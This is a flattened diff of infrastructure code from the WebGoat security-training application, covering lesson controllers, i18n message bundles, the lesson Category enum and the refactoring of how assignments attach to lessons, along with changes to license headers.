* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author WebGoat
* @version $Id: $Id
* @since October 28, 2003
*/ */
package org.owasp.webgoat.container.controller; package org.owasp.webgoat.container.controller;
import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletRequest;
import org.owasp.webgoat.container.session.Course; import org.owasp.webgoat.container.session.Course;
import org.owasp.webgoat.container.session.WebSession;
import org.springframework.stereotype.Controller; import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.ModelAndView;
@Controller @Controller
public class StartLesson { public class StartLesson {
private final WebSession ws;
private final Course course; private final Course course;
public StartLesson(Course course) { public StartLesson(WebSession ws, Course course) {
this.ws = ws;
this.course = course; this.course = course;
} }
@GetMapping( /**
* start.
*
* @return a {@link ModelAndView} object.
*/
@RequestMapping(
path = "startlesson.mvc",
method = {RequestMethod.GET, RequestMethod.POST})
public ModelAndView start() {
var model = new ModelAndView();
model.addObject("course", course);
model.addObject("lesson", ws.getCurrentLesson());
model.setViewName("lesson_content");
return model;
}
@RequestMapping(
value = {"*.lesson"}, value = {"*.lesson"},
produces = "text/html") produces = "text/html")
public ModelAndView lessonPage(HttpServletRequest request) { public ModelAndView lessonPage(HttpServletRequest request) {
@ -32,7 +81,8 @@ public class StartLesson {
.findFirst() .findFirst()
.ifPresent( .ifPresent(
lesson -> { lesson -> {
request.setAttribute("lesson", lesson); ws.setCurrentLesson(lesson);
model.addObject("lesson", lesson);
}); });
return model; return model;

View File

@ -1,6 +1,31 @@
/* /**
* SPDX-FileCopyrightText: Copyright © 2014 WebGoat authors * ************************************************************************************************
* SPDX-License-Identifier: GPL-2.0-or-later *
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author WebGoat
* @since October 28, 2003
* @version $Id: $Id
*/ */
package org.owasp.webgoat.container.controller; package org.owasp.webgoat.container.controller;
@ -10,6 +35,12 @@ import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.ModelAndView;
/**
* Welcome class.
*
* @author rlawson
* @version $Id: $Id
*/
@Controller @Controller
public class Welcome { public class Welcome {

View File

@ -1,7 +1,28 @@
/* /*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* SPDX-License-Identifier: GPL-2.0-or-later * please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 2017 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*/ */
package org.owasp.webgoat.container.i18n; package org.owasp.webgoat.container.i18n;
import java.util.Locale; import java.util.Locale;
@ -13,6 +34,9 @@ import org.springframework.web.servlet.LocaleResolver;
/** /**
* Wrapper around the LocaleResolver from Spring so we do not need to bother with passing the * Wrapper around the LocaleResolver from Spring so we do not need to bother with passing the
* HttpRequest object when asking for a Locale. * HttpRequest object when asking for a Locale.
*
* @author nbaars
* @date 2/7/17
*/ */
@AllArgsConstructor @AllArgsConstructor
public class Language { public class Language {

View File

@ -1,7 +1,28 @@
/* /*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* SPDX-License-Identifier: GPL-2.0-or-later * please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 2017 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*/ */
package org.owasp.webgoat.container.i18n; package org.owasp.webgoat.container.i18n;
import java.util.Properties; import java.util.Properties;
@ -11,6 +32,8 @@ import org.springframework.context.support.ReloadableResourceBundleMessageSource
/** /**
* ExposedReloadableResourceMessageBundleSource class. Extends the reloadable message source with a * ExposedReloadableResourceMessageBundleSource class. Extends the reloadable message source with a
* way to get all messages * way to get all messages
*
* @author zupzup
*/ */
@AllArgsConstructor @AllArgsConstructor
public class Messages extends ReloadableResourceBundleMessageSource { public class Messages extends ReloadableResourceBundleMessageSource {

View File

@ -1,7 +1,28 @@
/* /*
* SPDX-FileCopyrightText: Copyright © 2017 WebGoat authors * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* SPDX-License-Identifier: GPL-2.0-or-later * please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 2017 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*/ */
package org.owasp.webgoat.container.i18n; package org.owasp.webgoat.container.i18n;
import java.io.IOException; import java.io.IOException;
@ -11,6 +32,9 @@ import org.springframework.core.io.support.ResourcePatternResolver;
/** /**
* Message resource bundle for plugins. * Message resource bundle for plugins.
*
* @author nbaars
* @date 2/4/17
*/ */
public class PluginMessages extends ReloadableResourceBundleMessageSource { public class PluginMessages extends ReloadableResourceBundleMessageSource {
private static final String PROPERTIES_SUFFIX = ".properties"; private static final String PROPERTIES_SUFFIX = ".properties";

View File

@ -1,7 +1,3 @@
/*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.lessons; package org.owasp.webgoat.container.lessons;
import jakarta.persistence.Entity; import jakarta.persistence.Entity;
@ -14,6 +10,36 @@ import java.util.List;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
import lombok.Getter; import lombok.Getter;
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* <p>
*
* @author nbaars
* @version $Id: $Id
* @since November 25, 2016
*/
@Getter @Getter
@EqualsAndHashCode @EqualsAndHashCode
@Entity @Entity
@ -28,7 +54,7 @@ public class Assignment {
@Transient private List<String> hints; @Transient private List<String> hints;
protected Assignment() { private Assignment() {
// Hibernate // Hibernate
} }

View File

@ -1,34 +1,63 @@
/*
* SPDX-FileCopyrightText: Copyright © 2008 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container.lessons; package org.owasp.webgoat.container.lessons;
import lombok.Getter; import lombok.Getter;
/**
* *************************************************************************************************
*
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @version $Id: $Id
* @since October 28, 2003
*/
public enum Category { public enum Category {
INTRODUCTION("Introduction"), INTRODUCTION("Introduction", 5),
GENERAL("General"), GENERAL("General", 100),
A1("(A1) Broken Access Control"), A1("(A1) Broken Access Control", 301),
A2("(A2) Cryptographic Failures"), A2("(A2) Cryptographic Failures", 302),
A3("(A3) Injection"), A3("(A3) Injection", 303),
A5("(A5) Security Misconfiguration"), A5("(A5) Security Misconfiguration", 305),
A6("(A6) Vuln & Outdated Components"), A6("(A6) Vuln & Outdated Components", 306),
A7("(A7) Identity & Auth Failure"), A7("(A7) Identity & Auth Failure", 307),
A8("(A8) Software & Data Integrity"), A8("(A8) Software & Data Integrity", 308),
A9("(A9) Security Logging Failures"), A9("(A9) Security Logging Failures", 309),
A10("(A10) Server-side Request Forgery"), A10("(A10) Server-side Request Forgery", 310),
CLIENT_SIDE("Client side"), CLIENT_SIDE("Client side", 1700),
CHALLENGE("Challenges"); CHALLENGE("Challenges", 3000);
@Getter private String name; @Getter private String name;
@Getter private Integer ranking;
Category(String name) { Category(String name, Integer ranking) {
this.name = name; this.name = name;
this.ranking = ranking;
} }
@Override @Override

View File

@ -1,110 +1,79 @@
/* /*
* SPDX-FileCopyrightText: Copyright © 2014 WebGoat authors * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
* SPDX-License-Identifier: GPL-2.0-or-later *
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/ */
package org.owasp.webgoat.container.lessons; package org.owasp.webgoat.container.lessons;
import static java.util.stream.Collectors.groupingBy;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.lang.reflect.ParameterizedType; import java.lang.reflect.ParameterizedType;
import java.util.*; import java.util.*;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.ArrayUtils;
import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AssignmentHints;
import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.assignments.AttackResult;
import org.owasp.webgoat.container.session.Course; import org.owasp.webgoat.container.session.Course;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Configuration;
import org.springframework.util.Assert; import org.springframework.util.CollectionUtils;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping; import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMapping;
@Slf4j
@Configuration @Configuration
public class CourseConfiguration { public class CourseConfiguration {
private final List<Lesson> lessons; private final List<Lesson> lessons;
private final List<AssignmentEndpoint> assignments; private final List<AssignmentEndpoint> assignments;
private final String contextPath; private final Map<String, List<AssignmentEndpoint>> assignmentsByPackage;
public CourseConfiguration( public CourseConfiguration(List<Lesson> lessons, List<AssignmentEndpoint> assignments) {
List<Lesson> lessons,
List<AssignmentEndpoint> assignments,
@Value("${server.servlet.context-path}") String contextPath) {
this.lessons = lessons; this.lessons = lessons;
this.assignments = assignments; this.assignments = assignments;
this.contextPath = contextPath.equals("/") ? "" : contextPath; assignmentsByPackage =
} this.assignments.stream().collect(groupingBy(a -> a.getClass().getPackageName()));
private void attachToLessonInParentPackage(
AssignmentEndpoint assignmentEndpoint, String packageName) {
if (packageName.equals("org.owasp.webgoat.lessons")) {
throw new IllegalStateException(
"No lesson found for assignment: '%s'"
.formatted(assignmentEndpoint.getClass().getSimpleName()));
}
lessons.stream()
.filter(l -> l.getClass().getPackageName().equals(packageName))
.findFirst()
.ifPresentOrElse(
l -> l.addAssignment(toAssignment(assignmentEndpoint)),
() ->
attachToLessonInParentPackage(
assignmentEndpoint, packageName.substring(0, packageName.lastIndexOf("."))));
}
/**
* For each assignment endpoint, find the lesson in the same package or if not found, find the
* lesson in the parent package
*/
private void attachToLesson(AssignmentEndpoint assignmentEndpoint) {
lessons.stream()
.filter(
l ->
l.getClass()
.getPackageName()
.equals(assignmentEndpoint.getClass().getPackageName()))
.findFirst()
.ifPresentOrElse(
l -> l.addAssignment(toAssignment(assignmentEndpoint)),
() -> {
var assignmentPackageName = assignmentEndpoint.getClass().getPackageName();
attachToLessonInParentPackage(
assignmentEndpoint,
assignmentPackageName.substring(0, assignmentPackageName.lastIndexOf(".")));
});
}
private Assignment toAssignment(AssignmentEndpoint endpoint) {
return new Assignment(
endpoint.getClass().getSimpleName(),
getPath(endpoint.getClass()),
getHints(endpoint.getClass()));
} }
@Bean @Bean
public Course course() { public Course course() {
assignments.forEach(this::attachToLesson); lessons.stream().forEach(l -> l.setAssignments(createAssignment(l)));
// Check if all assignments are attached to a lesson
var assignmentsAttachedToLessons =
lessons.stream().mapToInt(l -> l.getAssignments().size()).sum();
Assert.isTrue(
assignmentsAttachedToLessons == assignments.size(),
"Not all assignments are attached to a lesson, please check the configuration. The"
+ " following assignments are not attached to any lesson: "
+ findDiff());
return new Course(lessons); return new Course(lessons);
} }
private List<String> findDiff() { private List<Assignment> createAssignment(Lesson lesson) {
var matchedToLessons = var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName());
lessons.stream().flatMap(l -> l.getAssignments().stream()).map(Assignment::getName).toList(); if (CollectionUtils.isEmpty(endpoints)) {
var allAssignments = assignments.stream().map(a -> a.getClass().getSimpleName()).toList(); log.warn("Lesson: {} has no endpoints, is this intentionally?", lesson.getTitle());
return new ArrayList<>();
var diff = new ArrayList<>(allAssignments); }
diff.removeAll(matchedToLessons); return endpoints.stream()
return diff; .map(
e ->
new Assignment(
e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass())))
.toList();
} }
private String getPath(Class<? extends AssignmentEndpoint> e) { private String getPath(Class<? extends AssignmentEndpoint> e) {
@ -112,7 +81,7 @@ public class CourseConfiguration {
if (methodReturnTypeIsOfTypeAttackResult(m)) { if (methodReturnTypeIsOfTypeAttackResult(m)) {
var mapping = getMapping(m); var mapping = getMapping(m);
if (mapping != null) { if (mapping != null) {
return contextPath + mapping; return mapping;
} }
} }
} }

Some files were not shown because too many files have changed in this diff Show More